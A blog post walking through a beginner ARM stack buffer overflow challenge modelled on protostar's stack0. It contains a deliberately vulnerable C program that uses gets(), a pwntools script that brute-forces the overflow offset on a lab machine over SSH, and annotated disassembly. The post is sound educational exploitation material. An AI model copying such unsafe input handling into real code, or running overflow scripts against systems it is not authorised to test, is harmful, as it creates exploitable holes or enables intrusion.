DEV Community

Cover image for A simple ARM buffer overflow
hextrace
hextrace

Posted on • Updated on

A simple ARM buffer overflow

Let's get started with binary exploitation on ARM systems. This challenge is based on the 'protostar' series.

This is our vulnerable program:

#include <stdio.h>

int main() {

    volatile int modified;
    char buffer[64];

    modified = 0;
    gets(buffer);

    if (modified != 0)
        printf("modified: %d\n", modified);
    else
        printf("nope");
}
Enter fullscreen mode Exit fullscreen mode

The goal is to abuse the unsafe gets function to modify the modified variable.
Both buffer and modified are on the stack. A buffer overflow will overwrite the modified variable.
We can use pwntools to find the correct offset:

#!/usr/bin/env python3

from pwn import *

# ssh into the ARM box
socket = ssh(host='192.168.0.1', user='root', password='')

i = 0
while True:
    i += 1
    print('test', i)
    payload = 'A' * i
    process = socket.process('/root/protostarm/stack0/stack0')
    process.sendline(payload)
    res = process.recv().decode()
    process.close()
    if 'nope' not in res:
        print('i =', i)
        print(res)
        break

socket.close()
Enter fullscreen mode Exit fullscreen mode

After a while we have:

[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 0

[...]

test 64
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1623
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1623)
test 65
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1627
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1627)
i = 65
modified : 65

[*] Closed connection to '192.168.0.1'
Enter fullscreen mode Exit fullscreen mode

We successfully changed the modified variable by entering 65 A's into the buffer.

Now let's have a look at the disassembly so we can understand why it's 65:

00000538 <main>:
 538:   b580        push    {r7, lr}                ; save r7 and lr
                                                        ; r7: saved frame pointer in thumb mode
                                                        ; lr: saved instruction pointer (Link Register)
 53a:   b092        sub sp, #72 ; 0x48          ; reserve stack space
 53c:   af00        add r7, sp, #0          ; r7 = sp + 0
 53e:   2300        movs    r3, #0                  ; r3 = 0
 540:   647b        str r3, [r7, #68]   ; 0x44  ; modified = r3
 542:   1d3b        adds    r3, r7, #4              ; r3 points to buffer
 544:   4618        mov r0, r3                  ; r0 = r3
 546:   f7ff ef58   blx 3f8 <gets@plt>          ; gets(&buffer);
 54a:   6c7b        ldr r3, [r7, #68]   ; 0x44  ; r3 = modified
 54c:   2b00        cmp r3, #0                  ; modified == 0 ?
 54e:   d007        beq.n   560 <main+0x28>

 550:   6c7b        ldr r3, [r7, #68]           ; 0x44
 552:   4619        mov r1, r3                  ; r1 = modified (2nd argument)
 554:   4b07        ldr r3, [pc, #28]           ; (574 <main+0x3c>)
 556:   447b        add r3, pc
 558:   4618        mov r0, r3                  ; r0 = "modified: %d\n" (1st argument)
 55a:   f7ff ef48   blx 3ec <printf@plt>        ; printf("modified: %d\n", modified);

 55e:   e004        b.n 56a <main+0x32>

 560:   4b05        ldr r3, [pc, #20]           ; (578 <main+0x40>)
 562:   447b        add r3, pc
 564:   4618        mov r0, r3                  ; r0 = r3 (load first arg)
 566:   f7ff ef42   blx 3ec <printf@plt>        ; printf("nope");

 56a:   2300        movs    r3, #0                  ; init r3
 56c:   4618        mov r0, r3                  ; r0 = r3
 56e:   3748        adds    r7, #72 ; 0x48          ; restore stack space
 570:   46bd        mov sp, r7                  ; restore caller stack
 572:   bd80        pop {r7, pc}                ; restore sp/pc
 574:   00000072    andeq   r0, r0, r2, ror r0
 578:   00000076    andeq   r0, r0, r6, ror r0
Enter fullscreen mode Exit fullscreen mode

Stack is 72 bytes long and organized this way:

+++
|  modified 00 |
|  modified 00 |
|  modified 00 |
|  modified 00 | 
| buffer[63]   | i = 64
|              |
|   [...]      |
|              |
| buffer[0]    | i = 1
--------
Enter fullscreen mode Exit fullscreen mode

gets appends a null terminator so it needs 65 A's to modify the variable. If we initially set modified to 1, it only needs 64 A's.

Discussion (0)